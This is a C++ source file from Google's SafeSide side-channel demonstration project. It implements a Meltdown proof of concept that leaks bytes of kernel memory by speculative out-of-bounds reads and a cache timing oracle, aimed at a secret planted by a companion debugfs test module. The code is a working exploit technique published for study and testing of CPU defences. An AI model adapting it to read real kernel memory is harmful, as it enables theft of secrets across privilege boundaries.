blob: 9b357b2643a82bb444cb40a9ad05cec93220d7f6 [file] [log] [blame]
/*
* Copyright 2019 Google LLC
*
* Licensed under both the 3-Clause BSD License and the GPLv2, found in the
* LICENSE and LICENSE.GPL-2.0 files, respectively, in the root directory.
*
* SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0
*/
#include "compiler_specifics.h"
#if !SAFESIDE_LINUX
# error Unsupported OS. Linux required.
#endif
#if !SAFESIDE_X64 && !SAFESIDE_IA32 && !SAFESIDE_PPC
# error Unsupported architecture. x86/x86_64 or PowerPC required.
#endif
#include <array>
#include <cstring>
#include <fstream>
#include <iostream>
#include "cache_sidechannel.h"
#include "instr.h"
#include "faults.h"
#include "local_content.h"
#include "meltdown_local_content.h"
#include "utils.h"
// Leaks the byte that is physically located at &text[0] + offset, without
// really loading it. In the abstract machine, and in the code executed by the
// CPU, this function does not load any memory except for what is in the bounds
// of `text`, and local auxiliary data.
//
// Instead, the leak is performed by accessing out-of-bounds during speculative
// execution, speculatively loading data accessible only in the kernel mode.
static char LeakByte(const char *data, size_t offset) {
CacheSideChannel sidechannel;
const std::array<BigByte, 256> &oracle = sidechannel.GetOracle();
for (int run = 0;; ++run) {
// Load the secret data into cache so it is more likely to be available
// to transient instructions.
std::ifstream is("/sys/kernel/debug/safeside_meltdown/secret_data_in_cache");
is.get();
is.close();
sidechannel.FlushOracle();
// We pick a different offset every time so that it's guaranteed that the
// value of the in-bounds access is usually different from the secret value
// we want to leak via out-of-bounds speculative access.
size_t safe_offset = run % strlen(public_data);
bool handled_fault = RunWithFaultHandler([&]() {
ForceRead(oracle.data() + static_cast<size_t>(data[safe_offset]));
// Access attempt to the kernel memory. This does not succeed
// architecturally and kernel sends SIGSEGV instead.
ForceRead(oracle.data() + static_cast<size_t>(data[offset]));
}, [](){});
if (!handled_fault) {
std::cerr << "Read didn't yield expected fault" << std::endl;
exit(EXIT_FAILURE);
}
std::pair<bool, char> result =
sidechannel.RecomputeScores(data[safe_offset]);
if (result.first) {
return result.second;
}
if (run > 100000) {
std::cerr << "Does not converge " << result.second << std::endl;
exit(EXIT_FAILURE);
}
}
}
int main() {
size_t private_data, private_length;
std::ifstream in("/sys/kernel/debug/safeside_meltdown/secret_data_address");
if (in.fail()) {
std::cerr << "Meltdown module not loaded or not running as root."
<< std::endl;
exit(EXIT_FAILURE);
}
in >> std::hex >> private_data;
in.close();
in.open("/sys/kernel/debug/safeside_meltdown/secret_data_length");
in >> std::dec >> private_length;
in.close();
std::cout << "Leaking the string: ";
std::cout.flush();
const size_t private_offset =
reinterpret_cast<const char *>(private_data) - public_data;
for (size_t i = 0; i < private_length; ++i) {
std::cout << LeakByte(public_data, private_offset + i);
std::cout.flush();
}
std::cout << "\nDone!\n";
}